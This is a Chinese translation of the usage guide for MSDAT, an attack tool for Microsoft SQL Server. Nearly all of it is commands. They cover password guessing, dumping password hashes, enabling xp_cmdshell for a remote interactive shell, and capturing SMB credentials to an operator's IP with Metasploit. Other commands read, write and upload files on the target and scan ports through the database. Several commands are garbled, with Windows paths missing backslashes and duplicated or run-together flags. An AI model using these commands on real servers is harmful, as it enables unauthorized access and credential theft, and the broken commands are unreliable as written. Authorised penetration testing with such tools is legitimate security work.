MSDAT-微軟SQL資料庫攻擊工具
申明:此文為翻譯文,原文鏈接地址,
以下為原文翻譯:
MSDAT(Microsoft SQL Database Attacking Tool)是滲透測試中,一個用來測試微軟sql資料庫安全性工具。
MSDAT的使用實例:
- 查找有效憑證:幫助你找到連接資料庫的有效憑據來遠程監控微軟資料庫
- 提升賬戶許可權:當你在資料庫中擁有一個微軟sql賬戶,並且希望提升該賬戶許可權
- 執行cmd命令:當你有一個有效的微軟SQL賬戶,並且想在才操作系統上執行命令操作資料庫(xp_cmdshell)
MSDAT目前已經支持sql server2005 ,2008和2012三個版本。
更新日誌:
- version 1.0(2017/02/15)
- 第一版本已發布
功能
通過MSDAT(Microsoft SQL Database Attacking Tools),你可以:
- 在未經授權的情況下,獲取到MSSQL的資料庫信息(例如:資料庫版本)
- 使用字典攻擊來查詢MSSQL的賬戶
- 測試每個賬戶的密碼(需要認證)
- 通過資料庫服務獲得windwos許可權
- xpcmdshell模塊
- 遠程下載文件
- oleautomation模塊
- bulkinsert模塊
- openrowset模塊
- 上傳文件到伺服器
- oleautomation模塊
- openrowset模塊
- 抓取SMB認證信息
- bulkinsert模塊
- openrowset模塊
- xp_dirtree選項
- xp_fileexist選項
- xp_getfiledetails選項
- 竊取MSSQL任何版本的的密碼的hash值
- 通過資料庫掃描埠
- openrowset模塊
- 通過一下命令 來執行遠程MSSQL伺服器上的SQL請求
- bulkinsert模塊
- openrowset模塊
- 列出文件/目錄
- xp_subdirs選項
- xp_dirtree選項
- 創建文件夾
- xp_create_subdir選項
安裝
為了讓MSDAT能夠正常運行,需要先安裝一些它所依賴的文件。
環境:ubuntu
sudo apt-get install freetds-dev
或者通過訪問link下載freetds
sudo pip install cython colorlog termcolor pymssql argparsesudo pip install argcomplete && sudo activate-global-python-argcomplete
在freetds的配置文件中添加"ues ntlmv2=yes" (ex: /etc/freetds/freetds.conf or /usr/local/etc/freetds.conf),示例:
[global] # TDS protocol version tds version = 8.0 use ntlmv2 = yes
模塊
你可以列出所有的模塊
./msdat.py -h
當你想要查看一個模塊有的功能和選項時,你可以使用一下命令來進行查看,例如all模塊
./msdat.py all -h
你可以通過使用--test-module選項來確定你指定的模塊是否適用於MSSQL,這個選項適用於所有mdat模塊
all 模塊
all模塊允許你運行所有模塊(取決於你傳遞的選項)
python msdat.py all -s $SERVER
如果你想
- 在使用攻擊字典時使用你自己的賬戶文件
- 一個用戶嘗試使用多個口令時不需要詢問
- 定義自己的超時值
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
在每個模塊中,你可以通過使用charset選擇定義字符集
mssqlinfo 模塊
在沒有認證的情況下獲取遠程MSSQL伺服器的基礎信息
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
這個模塊利用TDS協議和SQL瀏覽器服務來獲取信息
passwordguesser模塊
這個模塊允許你查找有效憑證
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--forcce-retry選擇允許在不詢問你的情況下對每個賬戶嘗試多個密碼。你可以通過使用--accounts-file選項來指定你自己的賬戶文件。
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
passwordstealer模塊
dump哈希密碼
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
2000,2005,2008,2014的SQL服務都支持
xpcmdshell模塊
通過xm_cmdshell來執行系統命令(xp_cmdshell配置選項)
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
上面一個命令會調用一個互動shell窗口用來在遠程sql伺服器上執行命令
如果xpcmdshell不可用,那麼指定該模塊的選項為--enable-xmcmdshell可以激活xp_cmdshell.
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
- --enable-xpcmdshell 激活xp_cmdshell(默認為不可用)
- --disable-xcmdshell 禁用xp_cmdshell
smbauthcaputer 模塊
通過這個模塊,你可以抓取到SMB的認證信息
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
捕獲SMB的認證信息,還可以通過metasploit的auxiliary/server/capture/smb模塊來獲取metasploit之smb模塊鏈接):
msf > use auxiliary/server/capture/smbmsf auxiliary(smb) > exploit
如果你想選擇SMB身份驗證過程來捕獲認證信息:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
你可以通過使用--share-name選項來修改SHARE的名字
oleautomation模塊
這個模塊可以讀取/修改資料庫伺服器上的文件
下面的命令是讀取t存儲在資料庫伺服器上的temp.txt文件
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file C:UsersAdministratorDesktop emp.txt
遠程寫入一個字元串到temp.txt文件中
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file C:UsersAdministratorDesktop emp.txt a
b
c
d
e
f
這個模塊還能從目標伺服器上下載文件
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file C:UsersAdministratorDesktop emp.txt temp.txt
同事,還能通過這個模塊上傳一個文件到目標伺服器
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt C:UsersAdministratorDesktop emp.txt
bulkopen 模塊
bulkopen模塊有以下功能:
- 讀取/下載資料庫伺服器上存儲的文件
- 通過資料庫伺服器掃描埠
- 通過資料庫在遠程MSSQL伺服器上執行SQL請求
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file C:UsersAdministratorDesktop emp.txt"
--method選擇可以用戶選擇使用什麼方法
- bulkinsert bulkinser微軟官方文檔
- openrowset openrowset微軟官方文檔
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file C:UsersAdministratorDesktop emp.txt --method openrowset
下載一個文件
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file C:UsersAdministratorDesktop emp.txt temp.txt
這個模塊還可以被用來掃描資料庫伺服器的埠(ip地址為127.0.0.1的1433和1434埠)
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
你可以掃描一個埠段
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
這個模塊還可以通過資料庫在遠程資料庫伺服器上執行SQL請求
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD select @@ServerName
xpdirectory 模塊
xpdirectory模塊有以下功能:
- 列出:驅動,目錄,文件
- 檢測文件是否存在
- 創建文件
- 列出指定目錄的文件
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files C:
列出指定目錄下的目錄
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir C:
列出驅動
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
檢測一個指定文件是否存在
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists C: --file-exists file.txt
創建目錄
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir C: emp
search模塊
search模塊可以通過列名用來搜索表格和試圖中的列值,例如查找%password%的列值。
為了獲取到包含指定列名的列值(比如passwd,password,motdepasse,clave)
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
如果你想查看哪一列不包含任何數據,可以使用--show-empty-columns選項。
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
推薦閱讀: